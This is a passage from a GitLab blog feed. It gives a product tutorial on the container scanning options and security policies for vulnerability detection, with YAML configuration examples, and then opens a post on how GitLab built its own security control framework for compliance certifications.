catching vulnerabilities before deployment</li><li>Best for: Shift-left security, blocking vulnerable images from reaching production</li><li>Tier availability: Free, Premium, and Ultimate (with enhanced features in Ultimate)</li><li><a href="https://docs.gitlab.com/user/application_security/container_scanning/" rel="">Documentation</a></li></ul><p>GitLab uses the Trivy security scanner to analyze container images for
known vulnerabilities. When your pipeline runs, the scanner examines your images
and generates a detailed report.</p><h4 id="how-to-enable-pipeline-based-container-scanning">How to enable pipeline-based Container Scanning</h4><p><strong>Option A: Preconfigured merge request</strong></p><ul><li>Navigate to <strong>Secure &gt; Security configuration</strong> in your project.</li><li>Find the &quot;Container Scanning&quot; row.</li><li>Select <strong>Configure with a merge request</strong>.</li><li>This automatically creates a merge request with the necessary configuration.</li></ul><p><strong>Option B: Manual configuration</strong></p><ul><li>Add the following to your <code className="">.gitlab-ci.yml</code>:</li></ul><pre className="language-yaml shiki shiki-themes github-light" code="include:
  - template: Jobs/Container-Scanning.gitlab-ci.yml
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">include</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Container-Scanning.gitlab-ci.yml
</span></span></code></pre><h4 id="common-configurations">Common configurations</h4><p><strong>Scan a specific image:</strong></p><p>To scan a specific image, overwrite the <code className="">CS_IMAGE</code> variable in the <code className="">container_scanning</code> job.</p><pre className="language-yaml shiki shiki-themes github-light" code="include:
  - template: Jobs/Container-Scanning.gitlab-ci.yml

container_scanning:
  variables:
    CS_IMAGE: myregistry.com/myapp:latest
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">include</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Container-Scanning.gitlab-ci.yml
</span></span><span class="line" line="3"><span emptyLinePlaceholder>
</span></span><span class="line" line="4"><span style="--shiki-default:#22863A">container_scanning</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">  variables</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="6"><span style="--shiki-default:#22863A">    CS_IMAGE</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">myregistry.com/myapp:latest
</span></span></code></pre><p><strong>Filter by severity threshold:</strong></p><p>To only find vulnerabilities with a certain severity criteria, overwrite the
<code className="">CS_SEVERITY_THRESHOLD</code> variable in the <code className="">container_scanning</code> job. In the example
below, only vulnerabilities with a severity of <strong>High</strong> or greater will be displayed.</p><pre className="language-yaml shiki shiki-themes github-light" code="include:
  - template: Jobs/Container-Scanning.gitlab-ci.yml

container_scanning:
  variables:
    CS_SEVERITY_THRESHOLD: &quot;HIGH&quot;
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">include</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Container-Scanning.gitlab-ci.yml
</span></span><span class="line" line="3"><span emptyLinePlaceholder>
</span></span><span class="line" line="4"><span style="--shiki-default:#22863A">container_scanning</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">  variables</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="6"><span style="--shiki-default:#22863A">    CS_SEVERITY_THRESHOLD</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;HIGH&quot;
</span></span></code></pre><h4 id="viewing-vulnerabilities-in-a-merge-request">Viewing vulnerabilities in a merge request</h4><p>Viewing Container Scanning vulnerabilities directly within merge requests makes security
reviews seamless and efficient. Once Container Scanning is configured in your CI/CD
pipeline, GitLab automatically display detected vulnerabilities in the merge request&#39;s
<a href="https://docs.gitlab.com/user/project/merge_requests/widgets/#application-security-scanning" rel="">Security widget</a>.</p><p><img alt="Container Scanning vulnerabilities displayed in MR" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/lt6elcq6jexdhqatdy8l.png" title="Container Scanning vulnerabilities displayed in MR" /></p><ul><li>Navigate to any merge request and scroll to the &quot;Security Scanning&quot; section to see a summary of
newly introduced and existing vulnerabilities found in your container images.</li><li>Click on a <strong>Vulnerability</strong> to access detailed information about the finding, including severity level,
affected packages, and available remediation guidance.</li></ul><p><img alt="GitLab Security View details in MR" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/hplihdlekc11uvpfih1p.png" /></p><p><img alt="GitLab Security View details in MR" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/jnxbe7uld8wfeezboifs.png" title="Container Scanning vulnerability details in MR" /></p><p>This visibility enables developers and security teams to catch and address container
vulnerabilities before they reach production, making security an integral part of your
code review process rather than a separate gate.</p><h4 id="viewing-vulnerabilities-in-vulnerability-report">Viewing vulnerabilities in Vulnerability Report</h4><p>Beyond merge request reviews, GitLab provides a centralized
<a href="https://docs.gitlab.com/user/application_security/vulnerability_report/" rel="">Vulnerability Report</a> that gives security teams comprehensive visibility across all Container Scanning findings in your project.</p><p><img alt="Vulnerability Report sorted by Container Scanning" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547524/gagau279fzfgjpnvipm5.png" title="Vulnerability Report sorted by Container Scanning" /></p><ul><li>Access this report by navigating to <strong>Security &amp; Compliance &gt; Vulnerability Report</strong> in your
project sidebar.</li><li>Here you&#39;ll find an aggregated view of all container vulnerabilities detected across your branches, with powerful filtering options to sort by severity, status, scanner type, or specific container images.</li><li>You can click on a vulnerabilty to access its Vulnerablity page.</li></ul><p><img alt="Vulnerability page - 1st view" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547520/e1woxupyoajhrpzrlylj.png" /></p><p><img alt="Vulnerability page - 2nd view" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547521/idzcftcgjc8eryixnbjn.png" /></p><p><img alt="Vulnerability page - 3rd view" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547522/mbbwbbprtf9anqqola10.png" title="Vunerability Details for a Container Scanning vulnerability" /></p><p><a href="https://docs.gitlab.com/user/application_security/vulnerabilities/" rel="">Vulnerability Details</a>
shows exactly which container images and layers are impacted, making it easier to trace the
vulnerability back to its source. You can assign vulnerabilities to team members, change
their status (detected, confirmed, resolved, dismissed), add comments for collaboration,
and link related issues for tracking remediation work.</p><p>This workflow transforms vulnerability management from a spreadsheet exercise into an integrated part of your development process, ensuring that container security findings are tracked, prioritized, and resolved systematically.</p><h4 id="view-the-dependency-list">View the Dependency List</h4><p>GitLab&#39;s <a href="https://docs.gitlab.com/user/application_security/dependency_list/" rel="">Dependency List</a>
provides a comprehensive software bill of materials (SBOM) that catalogs every component within
your container images, giving you complete transparency into your software supply chain.</p><ul><li>Navigate to <strong>Security &amp; Compliance &gt; Dependency List</strong> to access an inventory of all packages,
libraries, and dependencies detected by Container Scanning across your project.</li><li>This view is invaluable for understanding what&#39;s actually running inside your containers, from base OS
packages to application-level dependencies.</li></ul><p><img alt="GitLab Dependency List" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/vjg6dk3nhajqamplroji.png" title="GitLab Dependency List (SBOM)" /></p><p>You can filter the list by package manager, license type, or vulnerability status to quickly
identify which components pose security risks or compliance concerns. Each dependency entry
shows associated vulnerabilities, allowing you to understand security issues in the context
of your actual software components rather than as isolated findings.</p><h3 id="_2-container-scanning-for-registry">2. Container Scanning for Registry</h3><ul><li>What it does: Automatically scans images pushed to your GitLab Container Registry
with the <code className="">latest</code> tag</li><li>Best for: Continuous monitoring of registry images without manual pipeline triggers</li><li>Tier availability: Ultimate only</li><li><a href="https://docs.gitlab.com/user/application_security/container_scanning/#container-scanning-for-registry" rel="">Documentation</a></li></ul><p>When you push a container image tagged <code className="">latest</code>, GitLab&#39;s security policy bot
automatically triggers a scan against the default branch. Unlike pipeline-based
scanning, this approach works with Continuous Vulnerability Scanning to monitor
for newly published advisories.</p><h4 id="how-to-enable-container-scanning-for-registry">How to enable Container Scanning for Registry</h4><ol><li>Navigate to <strong>Secure &gt; Security configuration</strong>.</li><li>Scroll to the <strong>Container Scanning For Registry</strong> section.</li><li>Toggle the feature on.</li></ol><p><img alt="Container Scanning for Registry" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547512/vntrlhtmsh1ecnwni5ji.png" title="Toggle for Container Scanning for Registry" /></p><h4 id="prerequisites">Prerequisites</h4><ul><li>Maintainer role or higher in the project</li><li>Project must not be empty (requires at least one commit on the default branch)</li><li>Container Registry notifications must be configured</li><li>Package Metadata Database must be configured (enabled by default on GitLab.com)</li></ul><p>Vulnerabilities appear under the <strong>Container Registry vulnerabilities</strong> tab in your
Vulnerability Report.</p><h3 id="_3-multi-container-scanning">3. Multi-Container Scanning</h3><ul><li>What it does: Scans multiple container images in parallel within a single pipeline</li><li>Best for: Microservices architectures and projects with multiple container images</li><li>Tier availability: Free, Premium, and Ultimate (currently in Beta)</li><li><a href="https://docs.gitlab.com/user/application_security/container_scanning/multi_container_scanning/" rel="">Documentation</a></li></ul><p>Multi-Container Scanning uses dynamic child pipelines to run scans concurrently, significantly reducing overall pipeline execution time when you need to scan multiple images.</p><h4 id="how-to-enable-multi-container-scanning">How to enable Multi-Container scanning</h4><ol><li>Create a <code className="">.gitlab-multi-image.yml</code> file in your repository root:</li></ol><pre className="language-yaml shiki shiki-themes github-light" code="scanTargets:
  - name: alpine
    tag: &quot;3.19&quot;
  - name: python
    tag: &quot;3.9-slim&quot;
  - name: nginx
    tag: &quot;1.25&quot;
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">scanTargets</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">name</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">alpine
</span></span><span class="line" line="3"><span style="--shiki-default:#22863A">    tag</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;3.19&quot;
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">name</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">python
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">    tag</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;3.9-slim&quot;
</span></span><span class="line" line="6"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">name</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">nginx
</span></span><span class="line" line="7"><span style="--shiki-default:#22863A">    tag</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;1.25&quot;
</span></span></code></pre><ol start="2"><li>Include the template in your <code className="">.gitlab-ci.yml</code>:</li></ol><pre className="language-yaml shiki shiki-themes github-light" code="include:
  - template: Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">include</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml
</span></span></code></pre><h4 id="advanced-configuration">Advanced configuration</h4><p><strong>Scan images from private registries:</strong></p><pre className="language-yaml shiki shiki-themes github-light" code="auths:
  registry.gitlab.com:
    username: ${CI_REGISTRY_USER}
    password: ${CI_REGISTRY_PASSWORD}

scanTargets:
  - name: registry.gitlab.com/private/image
    tag: latest
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">auths</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#22863A">  registry.gitlab.com</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="3"><span style="--shiki-default:#22863A">    username</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">${CI_REGISTRY_USER}
</span></span><span class="line" line="4"><span style="--shiki-default:#22863A">    password</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">${CI_REGISTRY_PASSWORD}
</span></span><span class="line" line="5"><span emptyLinePlaceholder>
</span></span><span class="line" line="6"><span style="--shiki-default:#22863A">scanTargets</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">name</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">registry.gitlab.com/private/image
</span></span><span class="line" line="8"><span style="--shiki-default:#22863A">    tag</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">latest
</span></span></code></pre><p><strong>Include license information:</strong></p><pre className="language-yaml shiki shiki-themes github-light" code="includeLicenses: true

scanTargets:
  - name: postgres
    tag: &quot;15-alpine&quot;
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">includeLicenses</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#005CC5">true
</span></span><span class="line" line="2"><span emptyLinePlaceholder>
</span></span><span class="line" line="3"><span style="--shiki-default:#22863A">scanTargets</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">name</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">postgres
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">    tag</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;15-alpine&quot;
</span></span></code></pre><h3 id="_4-continuous-vulnerability-scanning">4. Continuous Vulnerability Scanning</h3><ul><li>What it does: Automatically creates vulnerabilities when new security advisories are published, no pipeline required</li><li>Best for: Proactive security monitoring between deployments</li><li>Tier availability: Ultimate only</li><li><a href="https://docs.gitlab.com/user/application_security/continuous_vulnerability_scanning/" rel="">Documentation</a></li></ul><p>Traditional scanning only catches vulnerabilities at scan time. But what happens
when a new CVE is published tomorrow for a package you scanned yesterday? Continuous
Vulnerability Scanning solves this by monitoring the GitLab Advisory Database and
automatically creating vulnerability records when new advisories affect your components.</p><h4 id="how-it-works">How it works</h4><ol><li>Your Container Scanning or Dependency Scanning job generates a CycloneDX SBOM.</li><li>GitLab registers your project&#39;s components from this SBOM.</li><li>When new advisories are published, GitLab checks if your components are affected.</li><li>Vulnerabilities are automatically created in your vulnerability report.</li></ol><h4 id="key-considerations">Key considerations</h4><ul><li>Scans run via background jobs (Sidekiq), not CI pipelines.</li><li>Only advisories published within the last 14 days are considered for new component detection.</li><li>Vulnerabilities use &quot;GitLab SBoM Vulnerability Scanner&quot; as the scanner name.</li><li>To mark vulnerabilities as resolved, you still need to run a pipeline-based scan.</li></ul><h3 id="_5-operational-container-scanning">5. Operational Container Scanning</h3><ul><li>What it does: Scans running containers in your Kubernetes cluster on a
scheduled cadence</li><li>Best for: Post-deployment security monitoring and runtime vulnerability detection</li><li>Tier availability: Ultimate only</li><li><a href="https://docs.gitlab.com/user/clusters/agent/vulnerabilities/" rel="">Documentation</a></li></ul><p>Operational Container Scanning bridges the gap between build-time security and
runtime security. Using the GitLab Agent for Kubernetes, it scans containers
actually running in your clusters—catching vulnerabilities that emerge after
deployment.</p><h4 id="how-to-enable-operational-container-scanning">How to enable Operational Container Scanning</h4><p>If you are using the <a href="https://docs.gitlab.com/user/clusters/agent/install/" rel="">GitLab Kubernetes Agent</a>, you can add the following to your agent configuration file:</p><pre className="language-yaml shiki shiki-themes github-light" code="container_scanning:
  cadence: &#39;0 0 * * *&#39;  # Daily at midnight
  vulnerability_report:
    namespaces:
      include:
        - production
        - staging
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">container_scanning</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#22863A">  cadence</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&#39;0 0 * * *&#39;</span><span style="--shiki-default:#6A737D">  # Daily at midnight
</span></span><span class="line" line="3"><span style="--shiki-default:#22863A">  vulnerability_report</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="4"><span style="--shiki-default:#22863A">    namespaces</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">      include</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="6"><span style="--shiki-default:#24292E">        - </span><span style="--shiki-default:#032F62">production
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">        - </span><span style="--shiki-default:#032F62">staging
</span></span></code></pre><p>You can also create a <a href="https://docs.gitlab.com/user/clusters/agent/vulnerabilities/#enable-via-scan-execution-policies" rel="">scan execution policy</a> that enforces scanning on a schedule by the GitLab Kubernetes Agent.</p><p><img alt="Scan execution policy - Operational Container Scanning" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547515/gsgvjcq4sas4dfc8ciqk.png" title="Scan execution policy conditions for Operational Container Scanning" /></p><h4 id="viewing-results">Viewing results</h4><ul><li>Navigate to <strong>Operate &gt; Kubernetes clusters</strong>.</li><li>Select the <strong>Agent</strong> tab, and choose your agent.</li><li>Then select the <strong>Security</strong> tab to view cluster vulnerabilities.</li><li>Results also appear under the <strong>Operational Vulnerabilities</strong> tab in the <strong>Vulnerability Report</strong>.</li></ul><h2 id="enhancing-posture-with-gitlab-security-policies">Enhancing posture with GitLab Security Policies</h2><p>GitLab Security Policies enable you to enforce consistent security standards across your container workflows through automated, policy-driven controls. These policies shift security left by embedding requirements directly into your development pipeline, ensuring vulnerabilities are caught and addressed before code reaches production.</p><h4 id="scan-execution-and-pipeline-policies">Scan execution and pipeline policies</h4><p><a href="https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/" rel="">Scan execution policies</a> automate when and how Container Scanning runs across your projects. Define policies that trigger container scans on every merge request, schedule recurring scans of your main branch, and more. These policies ensure comprehensive coverage without relying on developers to manually configure scanning in each project&#39;s CI/CD pipeline.</p><p>You can specify which scanner versions to use and configure scanning parameters centrally, maintaining consistency across your organization while adapting to new container security threats.</p><p><img alt="Scan execution policy configuration" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/z36dntxslqem9udrynvx.png" title="Scan execution policy configuration" /></p><p><a href="https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/" rel="">Pipeline execution policies</a> provide flexible controls for injecting (or overriding) custom jobs into a pipeline based on your compliance needs.</p><p>Use these policies to automatically inject Container Scanning jobs into your pipeline, fail builds when container vulnerabilities exceed your risk tolerance, trigger additional security checks for specific branches or tags, or enforce compliance requirements for container images destined for production environments. Pipeline execution policies act as automated guardrails, ensuring your security standards are consistently applied across all container deployments without manual intervention.</p><p><img alt="Pipeline execution policy" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/ddhhugzcr2swptgodof2.png" title="Pipeline execution policy actions" /></p><h4 id="merge-request-approval-policies">Merge request approval policies</h4><p><a href="https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/" rel="">Merge request approval policies</a> enforce security gates by requiring designated approvers to review and sign off on merge requests containing container vulnerabilities.</p><p>Configure policies that block merge when critical or high-severity vulnerabilities are detected, or require security team approval for any merge request introducing new container findings. These policies prevent vulnerable container images from advancing through your pipeline while maintaining development velocity for low-risk changes.</p><p><img alt="Merge request approval policy performing block in MR" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/hgnbc1vl4ssqafqcyuzg.png" title="Merge request approval policy performing block in MR" /></p><h2 id="choosing-the-right-approach">Choosing the right approach</h2><table><thead><tr><th>Scanning Type</th><th>When to Use</th><th>Key Benefit</th></tr></thead><tbody><tr><td>Pipeline-based</td><td>Every build</td><td>Shift-left security, blocks vulnerable builds</td></tr><tr><td>Registry scanning</td><td>Continuous monitoring</td><td>Catches new CVEs in stored images</td></tr><tr><td>Multi-container</td><td>Microservices</td><td>Parallel scanning, faster pipelines</td></tr><tr><td>Continuous vulnerability</td><td>Between deployments</td><td>Proactive advisory monitoring</td></tr><tr><td>Operational</td><td>Production monitoring</td><td>Runtime vulnerability detection</td></tr></tbody></table><p>For comprehensive security, consider combining multiple approaches. Use
pipeline-based scanning to catch issues during development, container
scanning for registry for continuous monitoring, and operational scanning
for production visibility.</p><h2 id="get-started-today">Get started today</h2><p>The fastest path to container security is enabling pipeline-based scanning:</p><ol><li>Navigate to your project&#39;s <strong>Secure &gt; Security configuration</strong>.</li><li>Click <strong>Configure with a merge request</strong> for Container Scanning.</li><li>Merge the resulting merge request.</li><li>Your next pipeline will include vulnerability scanning.</li></ol><p>From there, layer in additional scanning types based on your security requirements
and GitLab tier.</p><p>Container security isn&#39;t a one-time activity, it&#39;s an ongoing process.
With GitLab&#39;s comprehensive container scanning capabilities, you can detect
vulnerabilities at every stage of your container lifecycle, from build to runtime.</p><blockquote><p>For more information on how GitLab can help enhance your security posture, visit the <a href="https://about.gitlab.com/solutions/application-security-testing/" rel="">GitLab Security and Governance Solutions Page</a>.</p></blockquote><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Fernando Diaz</name>
            <uri>https://about.gitlab.com/blog/authors/fernando-diaz/</uri>
        </author>
        <published>2026-03-05T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[How GitLab built a security control framework from scratch]]></title>
        <id>https://about.gitlab.com/blog/how-gitlab-built-a-security-control-framework-from-scratch/</id>
        <link href="https://about.gitlab.com/blog/how-gitlab-built-a-security-control-framework-from-scratch/"/>
        <updated>2026-03-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab&#39;s Security Compliance team discovered that existing security control frameworks lacked the customization to fit the platform&#39;s multi-product, cloud-native environment.</p><p>So we built our own.</p><p>Here&#39;s what we learned and why creating your own custom security control framework might be the right move for your compliance program.</p><h2 id="the-journey-through-frameworks">The journey through frameworks</h2><p>When I joined GitLab&#39;s Security Compliance team in November 2022, we were using the <a href="https://securecontrolsframework.com/" rel="">Secure Controls Framework</a> to manage controls across our external certifications and internal compliance needs. But as our requirements grew, we realized we needed something more comprehensive.</p><p>With FedRAMP authorization on our roadmap, we chose to adopt <a href="https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final" rel="">NIST SP 800-53</a> next. NIST SP 800-53 includes more than 1,000 controls, but its comprehensiveness isn’t perfectly suited to GitLab’s environment.</p><p>We didn&#39;t need to implement every NIST control, only those applicable to our specific requirements. Our focus was on the quality of controls rather than quantity. Implementing unnecessary controls doesn&#39;t improve security; in fact, too many can make an environment less secure as individuals find ways to circumvent overly restrictive or irrelevant controls.</p><p>Some controls also lacked the necessary granularity for our needs. For example, NIST’s AC-2 “Account Management” control covers account creation and provisioning, account modification and disabling, account removal and termination, shared and group account management, and account monitoring and reviews.</p><p>In practice, these are <em>at least</em> six distinct controls with different owners, testing procedures, and risks. For attestations like SOC 2, each activity is tested as a separate control because they have different evidence requirements and operational contexts. NIST&#39;s all-encompassing AC-2 didn&#39;t match how we actually operate controls or how auditors actually assess us, and we needed controls granular enough to reflect our operational environment.</p><p>We found ourselves constantly customizing, adding, and adapting NIST controls to fit our environment. At some point, we realized we weren&#39;t really using NIST SP 800-53 anymore, we were building our own framework on top of it. We decided a custom control framework, one tailored to GitLab’s environment, would best accommodate our multi-product offering and each product’s unique compliance needs.</p><h2 id="building-the-gitlab-control-framework">Building the GitLab Control Framework</h2><p>Through five methodical steps, we built our own common controls framework: the GitLab Control Framework (GCF).</p><h3 id="_1-analyze-what-we-need">1. Analyze what we need</h3><p>We reviewed our existing controls and mapped every requirement from external certifications we already maintained, certifications on our roadmap, and our internal compliance program:</p><p><strong>External certifications:</strong></p><ul><li>SOC 2 Type II</li><li>ISO 27001, ISO 27017, ISO 27018, ISO 42001</li><li>PCI DSS</li><li>TISAX</li><li>Cyber Essentials</li><li>FedRAMP</li></ul><p><strong>Internal compliance needs:</strong></p><ul><li>Controls for mission-critical systems that are not in-scope for external certifications</li><li>Controls for systems with access to sensitive data</li></ul><p>This gave us the baseline: what controls must exist to meet our compliance obligations.</p><h3 id="_2-learn-from-industry-frameworks">2. Learn from industry frameworks</h3><p>Next, we compared our requirements against industry-recognized frameworks:</p><ul><li>NIST SP 800-53</li><li>NIST Cybersecurity Framework (CSF)</li><li>Secure Controls Framework (SCF)</li><li>Adobe and Cisco Common Controls Framework (CCF)</li></ul><p>Having adopted frameworks in the past, we wanted to learn from their structure and ensure we weren&#39;t missing critical security domains, controls, or best practices.</p><h3 id="_3-create-custom-control-domains">3. Create custom control domains</h3><p>Through this analysis, we created 18 custom control domains tailored to GitLab&#39;s environment:</p><table><thead><tr><th align="left">Abbreviation</th><th align="left">Domain</th><th align="left">Scope of controls</th></tr></thead><tbody><tr><td align="left">AAM</td><td align="left">Audit &amp; Accountability Management</td><td align="left">Logging, monitoring, and maintaining audit trails of system activities</td></tr><tr><td align="left">AIM</td><td align="left">Artificial Intelligence Management</td><td align="left">Specific to AI system development, deployment, and governance</td></tr><tr><td align="left">ASM</td><td align="left">Asset Management</td><td align="left">Identifying, tracking, and managing organizational assets</td></tr><tr><td align="left">BCA</td><td align="left">Backups, Contingency, and Availability Management</td><td align="left">Business continuity, disaster recovery, and system availability</td></tr><tr><td align="left">CHM</td><td align="left">Change Management</td><td align="left">Managing changes to systems, applications, and infrastructure</td></tr><tr><td align="left">CSR</td><td align="left">Customer Security Relationship Management</td><td align="left">Customer communication, transparency, and security commitments</td></tr><tr><td align="left">DPM</td><td align="left">Data Protection Management</td><td align="left">Protecting data confidentiality, integrity, and privacy</td></tr><tr><td align="left">EPM</td><td align="left">Endpoint Management</td><td align="left">Securing end-user devices and workstations</td></tr><tr><td align="left">GPM</td><td align="left">Governance &amp; Program Management</td><td align="left">Security governance, policies, and program oversight</td></tr><tr><td align="left">IAM</td><td align="left">Identity, Authentication, and Access Management</td><td align="left">User identity, authentication mechanisms, and access control</td></tr><tr><td align="left">INC</td><td align="left">Incident Management</td><td align="left">Detecting, responding to, and recovering from security incidents</td></tr><tr><td align="left">ISM</td><td align="left">Infrastructure Security Management</td><td align="left">Network, server, and foundational infrastructure security</td></tr><tr><td align="left">PAS</td><td align="left">Product and Application Security Management</td><td align="left">Security capabilities built into the GitLab product that are dogfooded to secure GitLab&#39;s own development, such as branch protection &amp; code security scanning</td></tr><tr><td align="left">PSM</td><td align="left">People Security Management</td><td align="left">Personnel security, training, and awareness</td></tr><tr><td align="left">SDL</td><td align="left">Software Development &amp; Acquisition Life Cycle Management</td><td align="left">Secure SDLC practices and third-party software acquisition</td></tr><tr><td align="left">SRM</td><td align="left">Security Risk Management</td><td align="left">Risk assessment, treatment, and management</td></tr><tr><td align="left">TPR</td><td align="left">Third Party Risk Management</td><td align="left">Managing security risks from vendors and suppliers</td></tr><tr><td align="left">TVM</td><td align="left">Threat &amp; Vulnerability Management</td><td align="left">Identifying and remediating security vulnerabilities</td></tr></tbody></table><p><br /><br /></p><p>Each domain groups related controls into logical families that align with how GitLab&#39;s security program is actually organized and operated. This structure provides a methodical approach for adding, updating, or removing controls as our needs evolve.</p><h3 id="_4-add-context-and-data">4. Add context and data</h3><p>With our domains defined, we needed to address two critical challenges: how to represent controls across multiple products without duplicating the framework, and how to capture meaningful implementation context to actually operate and audit at scale.</p><h4 id="scaling-across-multiple-products">Scaling across multiple products</h4><p>GitLab provides multiple product offerings: GitLab.com (multi-tenant SaaS on GCP), GitLab Dedicated (single-tenant SaaS on AWS), and GitLab Dedicated for Government (GitLab’s single-tenant FedRAMP offering on AWS). Each offering has different infrastructure, compliance scopes, and audit requirements. We needed to support product-specific audits without creating entirely separate frameworks.</p><p>We designed a control hierarchy where <strong>Level 1 controls are the framework</strong>, defining what should be implemented at the organizational level. <strong>Level 2 controls are the implementation</strong>, capturing the product-specific details of how each requirement is actually fulfilled.</p><pre className="language-mermaid shiki shiki-themes github-light" code="%%{init: { &quot;fontFamily&quot;: &quot;GitLab Sans&quot; }}%%
graph TD
    accTitle: Control Hierarchy
    accDescr: Level 1 requirements cascade to Level 2 implementations.
    
    L1[&quot;Level 1: Framework&lt;br/&gt;What must be implemented&quot;];
    L2A[&quot;Level 2: GitLab.com&lt;br/&gt;How it&#39;s implemented&quot;];
    L2B[&quot;Level 2: Dedicated&lt;br/&gt;How it&#39;s implemented&quot;];
    L2C[&quot;Level 2: Dedicated for Gov&lt;br/&gt;How it&#39;s implemented&quot;];
    L2D[&quot;Level 2: Entity&lt;br/&gt;(inherited by all)&quot;];
    
    L1--&gt;L2A;
    L1--&gt;L2B;
    L1--&gt;L2C;
    L1--&gt;L2D;
" language="mermaid" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">%%{init: { &quot;fontFamily&quot;: &quot;GitLab Sans&quot; }}%%
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">graph TD
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">    accTitle: Control Hierarchy
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">    accDescr: Level 1 requirements cascade to Level 2 implementations.
